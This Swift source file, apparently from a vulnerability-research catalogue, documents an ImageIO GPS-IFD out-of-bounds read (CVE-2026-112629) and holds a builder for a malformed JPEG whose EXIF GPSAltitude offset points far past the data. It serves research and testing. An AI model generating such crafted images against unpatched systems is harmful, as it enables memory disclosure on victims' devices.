// iio.jpeg.gps · ImageIO · GPSCopy::processData · CVE-2026-112629 // 原语: OOB 读 · 进程内 · tier 2 // Primitive: OOB read · in-process · tier 2 // // [zh] GPS IFD 值偏移越界 // GPS-IFD 遍历使用裸指针解引用与一个未检查的 read32。当条目值偏移指向 GPS 块之外时,读取直接越界。27.2 将全部访问重写为 checkCapacity / checkInitializedLength // / pointerToOffset / read32Unchecked,违规时抛出 OutOfBounds 异常。 // // [en] GPS IFD value offset out of bounds // The GPS-IFD walk uses raw pointer dereferences plus one unchecked read32. When an entry's value // offset points outside the GPS block the read goes straight out of bounds. iOS 27.2 rewrites every // access through checkCapacity / checkInitializedLength / pointerToOffset / read32Unchecked and throws // OutOfBounds on violation. // ── 判别 / oracle ── // GPSAltitude 的 RATIONAL 偏移指向 +0x10000 处。 import Foundation // ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func be32(_ v: UInt32) -> [UInt8] { [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le32(_ v: UInt32) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)] } static func be64(_ v: UInt64) -> [UInt8] { (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) } } static func le64(_ v: UInt64) -> [UInt8] { (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) } } static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) } static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) } static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } } // ── 种子构造 / seed construction — verbatim from Cinder27 Sources (JPEGPayload) ── enum JPEGPayload { static func exifGPSOutOfBounds(delta: Int = 0x10000) -> Data { var tiff = Data() tiff.append(contentsOf: [0x4D, 0x4D, 0x00, 0x2A]) tiff.append(contentsOf: B.be32(8)) tiff.append(contentsOf: B.be16(1)) tiff.append(contentsOf: B.be16(0x8825)) // GPSInfoIFDPointer tiff.append(contentsOf: B.be16(4)) // LONG tiff.append(contentsOf: B.be32(1)) tiff.append(contentsOf: B.be32(26)) // GPS IFD at 26 tiff.append(contentsOf: B.be32(0)) // GPS IFD tiff.append(contentsOf: B.be16(2)) tiff.append(contentsOf: B.be16(0x0000)) // GPSVersionID tiff.append(contentsOf: B.be16(1)) tiff.append(contentsOf: B.be32(4)) tiff.append(contentsOf: [2, 3, 0, 0]) tiff.append(contentsOf: B.be16(0x0006)) // GPSAltitude tiff.append(contentsOf: B.be16(5)) // RATIONAL tiff.append(contentsOf: B.be32(1)) tiff.append(contentsOf: B.be32(UInt32(26 + 18 + delta))) // far past the blob tiff.append(contentsOf: B.be32(0)) var out = minimalSOI() let payload = B.ascii("Exif\u{0}\u{0}") + [UInt8](tiff) let len = payload.count + 2 out += [0xFF, 0xE1, UInt8((len >> 8) & 0xff), UInt8(len & 0xff)] out += payload out += [0xFF, 0xD9] return Data(out) } static func minimalSOI() -> [UInt8] { [0xFF, 0xD8] } }